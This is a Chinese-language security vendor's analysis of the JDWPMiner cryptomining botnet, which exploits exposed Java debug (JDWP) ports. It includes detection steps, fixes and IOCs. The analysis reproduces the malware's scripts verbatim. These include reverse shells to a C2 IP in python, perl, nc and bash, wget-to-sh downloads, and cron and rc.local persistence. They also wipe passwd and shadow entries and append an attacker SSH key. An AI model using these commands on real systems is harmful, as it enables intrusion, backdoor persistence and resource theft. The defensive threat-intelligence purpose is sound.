Java开发远程调试易埋隐患,JDWPMiner挖矿木马后门分析

简介: 近日,阿里云安全监测到一种利用JDWP RCE漏洞进行挖矿的恶意攻击,对用户资产危害极大,近期传播有所上升,提醒广大用户注意防护。

概述

近日,阿里云安全监测到一种利用JDWP RCE漏洞进行挖矿的恶意攻击,JDWP广泛使用于JAVA应用程序开发调试阶段,而JAVA又广泛用于开发电商、办公应用、CMS等日常息息相关的平台,如果软件发布中未将远程调试关闭,将留下重大隐患,而JDWPMiner正式利用这一特性进行入侵牟利。


阿里云安全专家分析发现,该僵尸网络利用Java Debug RCE漏洞进行入侵,通过从恶意下载源下载挖矿二进制文件实现挖矿,通过Crontab进行持久化,将秘钥写入authorized_keys而获取远程访问权限,通过四种方式执行反弹shell,最终全权控制主机,对用户资产危害极大。


阿里云安全持续对该BOT进行监控,发现近期传播有所上升,提醒广大用户注意防护。


1.png


传播手段


JDWPMiner通过JDWP RCE漏洞进行入侵和传播,利用shell.sh脚本下载挖矿木马并执行,通过crontab、cron.d、rc.local进行持久化,依据系统环境执行python、perl、nc、bash进行反弹shell到指定IP,从而完成整个入侵过程。


2.png


阶段分析

3.jpg


协议分析


JDWP(Java Debug Wire Protocol Transport Interface)协议是用于调试器(Debugger)和被调试器Java虚拟机(Target JVM)之间的通信协议。在JDPA体系中,作为前端的调试者(debugger)和后端的被调试程序(debuggee)进程之间的交互数据的格式是由JDWP来描述的,协议详细完整地定义了请求命令、回应数据和错误代码,保证了前后端JVMTI和JDI的通信,通过该协议Debugger可以获取到VM中包括类、对象、线程等信息。


3-1.jpg


JDWP是基于TCP的二进制报文的网络协议,通过命令包(command packet)和回复包(reply packet)进行通信。其中Flags字段用于表明是命令包还是回复包,Command Set定义了Command类别。


4.png

需要开启上述协议,通常需要在apache-tomcat安装包bin目录下对catalina.sh或者setenv.sh进行修改,其中连接方式有两种,分别是dt_shment代表本机调试和dt_socket代表远程调试。


CATALINA_OPTS="-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8000"


也可通过命令行方式直接开启


java -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8000 -jar demo.jar


由于JDWP协议不带有认证信息,对于一个开启了调试端口的JAVA应用,任何人都可以利用JDWP进行调试,这给开发、运维带来了极大的风险,JDWPMiner正是利用该特性进行入侵获利。


入侵分析


上述提及两种方式可以导致JDWP端口开放至公网,JDWPMiner通过利用JDWP RCE漏洞进行入侵,在其父进程调用wget


java -server -Xms256m -Xmx2048m -XX:MaxPermSize=256m -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8000 -jar demo.jar


执行命令如下


wget http://m247.ltd:36663/.seashells/shell.sh


运行shell.sh包含了四种方式进行反弹shell,分别是python、perl、nc、bash,其C2地址为位于卢森堡的192.251.84.152,shell执行后其主机将完全沦陷受到JDWPMiner的管控。


if command -v python > /dev/null 2>&1; then

        python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("198.251.84.152",42069)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'

        exit;

fi


if command -v perl > /dev/null 2>&1; then

        perl -e 'use Socket;$i="198.251.84.152";$p=42069;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

        exit;

fi if command -v nc > /dev/null 2>&1; then

        rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 198.251.84.152 42069 >/tmp/f

        exit;

fi if command -v sh > /dev/null 2>&1; then

        /bin/sh -i >& /dev/tcp/198.251.84.152/42069 0>&1         exit;

fi

rm -rf shell.sh*


而后在teardrop.sh的调用执行中会进行不同方式的持久化


wget http://m247.ltd:36663/.xmrig/teardrop.sh -O-


通过sed将/etc/passwd抹掉常见记录


sed -i 's/^eth0:.*//' /etc/passwd 2>/dev/null;

sed -i 's/^eth0:.*//' /etc/shadow 2>/dev/null;

sed -i 's/^eth1:.*//' /etc/passwd 2>/dev/null;

sed -i 's/^eth1:.*//' /etc/shadow 2>/dev/null;

sed -i 's/^sudev:.*//' /etc/passwd 2>/dev/null;

sed -i 's/^sudev:.*//' /etc/shadow 2>/dev/null;

sed -i 's/^system:.*//' /etc/passwd 2>/dev/null;

sed -i 's/^system:.*//' /etc/shadow 2>/dev/null;


添加公钥到/root/.ssh/authorized_keys


# add ssh key

grep Glock /root/.ssh/authorized_keys || echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFjxDDMcytBQ+57s//0Fah9YVEosmvKMQXspMBi2G6qyF/v0nIE0OH9NhPkG02c8B+7ickaSJU97+UqPRw53mDbOJyT1BKWNbGPMAsLA/wz45O5wUhf/VFQhTpsKBai86N0uO3hjAPybE7fT/RarD45Ip4FUG1ttSw/Au6t1oLenRSAPegsS5b5vrn7OsGdA1kk8Jdk2FkdHBjIAHJtZsVsNLnE08WoAKQV65YWL6J5mnKjkt6bsViMeGAdjCbfgKNDdAnAqPfDHv3p+xIB8GnYwK8bVk4N9r/p4YgiNO+uURIWH0XMPJkvkyX4xco7w8XkyhXzKzRlvz8doXj4SMZ root@Glock' >> /root/.ssh/authorized_keys;

chmod 755 /root /root/.ssh /root/.ssh/authorized_keys 2>/dev/null;

chown root:root /root /root/.ssh /root/.ssh/authorized_keys 2>/dev/null;


通过Crontab进行持久化


# Add To Crontab

grep m247 /var/spool/cron/root || echo "0 * * * * wget --quiet http://m247.ltd:36663/.xmrig/0 -O- 2>/dev/null|sh>/dev/null 2>&1" >> /var/spool/cron/root

grep m247 /var/spool/cron/crontabs/root || echo "0 * * * * wget --quiet http://m247.ltd:36663/.xmrig/0 -O- 2>/dev/null|sh>/dev/null 2>&1" >> /var/spool/cron/crontabs/root

grep m247 /etc/crontab || echo "0 * * * * root wget --quiet http://m247.ltd:36663/.xmrig/0 -O- 2>/dev/null|sh>/dev/null 2>&1" >> /etc/crontab

grep m247 /etc/cron.d/0hourly || echo "0 * * * * root wget --quiet http://m247.ltd:36663/.xmrig/0 -O- 2>/dev/null|sh>/dev/null 2>&1" >> /etc/cron.d/0hourly


通过cron.d进行持久化


# Add to Cron.d

echo -e '#!/bin/sh\n\nwget --quiet http://m247.ltd:36663/.xmrig/0 -O- 2>/dev/null|sh>/dev/null 2>&1' > /etc/cron.hourly/0;chmod +x /etc/cron.hourly/0;chattr +i /etc/cron.hourly/0;

echo -e '#!/bin/sh\n\nwget --quiet http://m247.ltd:36663/.xmrig/0 -O- 2>/dev/null|sh>/dev/null 2>&1' > /etc/cron.daily/0;chmod +x /etc/cron.daily/0;chattr +i /etc/cron.daily/0;

echo -e '#!/bin/sh\n\nwget --quiet http://m247.ltd:36663/.xmrig/0 -O- 2>/dev/null|sh>/dev/null 2>&1' > /etc/cron.weekly/0;chmod +x /etc/cron.weekly/0;chattr +i /etc/cron.weekly/0;

echo -e '#!/bin/sh\n\nwget --quiet http://m247.ltd:36663/.xmrig/0 -O- 2>/dev/null|sh>/dev/null 2>&1' > /etc/cron.monthly/0;chmod 777 /etc/cron.monthly/0;chattr +i /etc/cron.monthly/0;


通过判断不同系统版本使用rc.local进行持久化


if [[ -e /etc/debian_version ]]; then

    RCLOCAL='/etc/rc.local';

    echo -e '#!/bin/sh\n\nwget --quiet http://m247.ltd:36663/.etc/rc -O- 2>/dev/null|sh>/dev/null 2>&1' > $RCLOCAL; chmod +x $RCLOCAL;

elif [[ -e /etc/centos-release || -e /etc/redhat-release ]]; then

   RCLOCAL='/etc/rc.d/rc.local'

   echo -e '#!/bin/sh\n\nwget --quiet http://m247.ltd:36663/.etc/rc -O- 2>/dev/null|sh>/dev/null 2>&1' > $RCLOCAL; chmod +x $RCLOCAL;

    chmod +x $RCLOCAL;

else

echo -e '#!/bin/sh\n\nwget --quiet http://m247.ltd:36663/.etc/rc -O- 2>/dev/null|sh>/dev/null 2>&1' > /etc/rc.local;chmod +x /etc/rc.local;

fi


通过curl、wget进行挖矿木马的下载


curl -s http://m247.ltd:36663/.xmrig/miner.php || wget --quiet http://m247.ltd:36663/.xmrig/miner.php -O /dev/null


安全建议


如何验证


本地验证: 执行如下命令,如果返回结果则说明打开了Debug端口。


ps -ef | grep jdwp | grep -v 'grep'


远程验证: telnet端口后,输入命令 JDWP-Handshake,如果返回JDWP-Handshare则证明存在漏洞


{ echo "JDWP-Handshake"; sleep 20 } | telnet remote_host remote_port


修复方案

  1. 搜索catalina.sh或者setenv.sh,将含有 transport=dt_socket 的一行注释掉即可
  2. 如果使用Docker,在dockerfile文件中将 ENV JPDA_ENABLE=1 修改为 0


安全建议


  1. 关闭JDWP端口或不对公网开放,如需调试在预发环境进行,完成后关闭Debug模式
  2. 关闭Java的Debug模式
  3. 云防火墙利用大数据对互联网上最新出现RCE进行实时监控,从RCE披露到响应时间整体小于3小时,能够有效阻止客户资产被RCE漏洞攻击,其支持3-7层协议不仅满足对Web网站的HTTP协议的防护,同时支持4层大量TCP/UDP协议的防御。当前云防火墙默认支持对Java 调试接口远程命令执行漏洞的防御。

5.png

  1. 云防火墙智能策略依据历史流量自学习,提供符合客户业务暴露面收敛的最佳实践,通过“一键下发”或“自主选择”可以实现资产的最大程度的互联网暴露收敛,避免类似JDWP端口对外不当暴露风险,同时有效阻止“重保模式”下网络空间测绘的扫描行为。

6.png


IOC

SSH公钥

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFjxDDMcytBQ+57s//0Fah9YVEosmvKMQXspMBi2G6qyF/v0nIE0OH9NhPkG02c8B+7ickaSJU97+UqPRw53mDbOJyT1BKWNbGPMAsLA/wz45O5wUhf/VFQhTpsKBai86N0uO3hjAPybE7fT/RarD45Ip4FUG1ttSw/Au6t1oLenRSAPegsS5b5vrn7OsGdA1kk8Jdk2FkdHBjIAHJtZsVsNLnE08WoAKQV65YWL6J5mnKjkt6bsViMeGAdjCbfgKNDdAnAqPfDHv3p+xIB8GnYwK8bVk4N9r/p4YgiNO+uURIWH0XMPJkvkyX4xco7w8XkyhXzKzRlvz8doXj4SMZ root@Glock


C2

198.251.84.152


Domain

m247.ltd


URL

http://m247.ltd:36663/..lolthats/sad.php

http://m247.ltd:36663/.xmrig/miner.php

http://m247.ltd:36663/.xmrig/0

http://m247.ltd:36663/.etc/rc

http://m247.ltd:36663/..lolthats/0

http://m247.ltd/..etc/rc

http://m247.ltd:36663/.seashells/shell.sh

http://m247.ltd:36663/..etc/rc

http://m247.ltd:36663/.xmrig/teardrop.sh

相关文章
|
19天前
|
前端开发 JavaScript Java
基于Java+Springboot+Vue开发的服装商城管理系统
基于Java+Springboot+Vue开发的服装商城管理系统(前后端分离),这是一项为大学生课程设计作业而开发的项目。该系统旨在帮助大学生学习并掌握Java编程技能,同时锻炼他们的项目设计与开发能力。通过学习基于Java的服装商城管理系统项目,大学生可以在实践中学习和提升自己的能力,为以后的职业发展打下坚实基础。
55 2
基于Java+Springboot+Vue开发的服装商城管理系统
|
17天前
|
前端开发 JavaScript Java
基于Java+Springboot+Vue开发的大学竞赛报名管理系统
基于Java+Springboot+Vue开发的大学竞赛报名管理系统(前后端分离),这是一项为大学生课程设计作业而开发的项目。该系统旨在帮助大学生学习并掌握Java编程技能,同时锻炼他们的项目设计与开发能力。通过学习基于Java的大学竞赛报名管理系统项目,大学生可以在实践中学习和提升自己的能力,为以后的职业发展打下坚实基础。
38 3
基于Java+Springboot+Vue开发的大学竞赛报名管理系统
|
18天前
|
前端开发 JavaScript Java
基于Java+Springboot+Vue开发的蛋糕商城管理系统
基于Java+Springboot+Vue开发的蛋糕商城管理系统(前后端分离),这是一项为大学生课程设计作业而开发的项目。该系统旨在帮助大学生学习并掌握Java编程技能,同时锻炼他们的项目设计与开发能力。通过学习基于Java的蛋糕商城管理系统项目,大学生可以在实践中学习和提升自己的能力,为以后的职业发展打下坚实基础。
46 3
基于Java+Springboot+Vue开发的蛋糕商城管理系统
|
18天前
|
前端开发 JavaScript Java
基于Java+Springboot+Vue开发的美容预约管理系统
基于Java+Springboot+Vue开发的美容预约管理系统(前后端分离),这是一项为大学生课程设计作业而开发的项目。该系统旨在帮助大学生学习并掌握Java编程技能,同时锻炼他们的项目设计与开发能力。通过学习基于Java的美容预约管理系统项目,大学生可以在实践中学习和提升自己的能力,为以后的职业发展打下坚实基础。
30 3
基于Java+Springboot+Vue开发的美容预约管理系统
|
19天前
|
前端开发 JavaScript Java
基于Java+Springboot+Vue开发的房产销售管理系统
基于Java+Springboot+Vue开发的房产销售管理系统(前后端分离),这是一项为大学生课程设计作业而开发的项目。该系统旨在帮助大学生学习并掌握Java编程技能,同时锻炼他们的项目设计与开发能力。通过学习基于Java的房产销售管理系统项目,大学生可以在实践中学习和提升自己的能力,为以后的职业发展打下坚实基础。
37 3
基于Java+Springboot+Vue开发的房产销售管理系统
|
18天前
|
存储 网络协议 Java
Java NIO 开发
本文介绍了Java NIO(New IO)及其主要组件,包括Channel、Buffer和Selector,并对比了NIO与传统IO的优势。文章详细讲解了FileChannel、SocketChannel、ServerSocketChannel、DatagramChannel及Pipe.SinkChannel和Pipe.SourceChannel等Channel实现类,并提供了示例代码。通过这些示例,读者可以了解如何使用不同类型的通道进行数据读写操作。
Java NIO 开发
|
4天前
|
安全 网络协议 Java
Java反序列化漏洞与URLDNS利用链分析
Java反序列化漏洞与URLDNS利用链分析
22 3
|
7天前
|
安全 Java API
Java 泛型在安卓开发中的应用
在Android开发中,Java泛型广泛应用于集合类、自定义泛型类/方法、数据绑定、适配器及网络请求等场景,有助于实现类型安全、代码复用和提高可读性。例如,结合`ArrayList`使用泛型可避免类型转换错误;自定义泛型类如`ApiResponse<T>`可处理不同类型API响应;RecyclerView适配器利用泛型支持多种视图数据;Retrofit结合泛型定义响应模型,明确数据类型。然而,需注意类型擦除导致的信息丢失问题。合理使用泛型能显著提升代码质量和应用健壮性。
|
20天前
|
人工智能 开发框架 Java
重磅发布!AI 驱动的 Java 开发框架:Spring AI Alibaba
随着生成式 AI 的快速发展,基于 AI 开发框架构建 AI 应用的诉求迅速增长,涌现出了包括 LangChain、LlamaIndex 等开发框架,但大部分框架只提供了 Python 语言的实现。但这些开发框架对于国内习惯了 Spring 开发范式的 Java 开发者而言,并非十分友好和丝滑。因此,我们基于 Spring AI 发布并快速演进 Spring AI Alibaba,通过提供一种方便的 API 抽象,帮助 Java 开发者简化 AI 应用的开发。同时,提供了完整的开源配套,包括可观测、网关、消息队列、配置中心等。
821 9
|
5天前
|
存储 分布式计算 Java
Stream很好,Map很酷,但答应我别用toMap():Java开发中的高效集合操作
在Java的世界里,Stream API和Map集合无疑是两大强大的工具,它们极大地简化了数据处理和集合操作的复杂度。然而,在享受这些便利的同时,我们也应当警惕一些潜在的陷阱,尤其是当Stream与Map结合使用时。本文将深入探讨Stream与Map的优雅用法,并特别指出在使用toMap()方法时需要注意的问题,旨在帮助大家在工作中更高效、更安全地使用这些技术。
18 0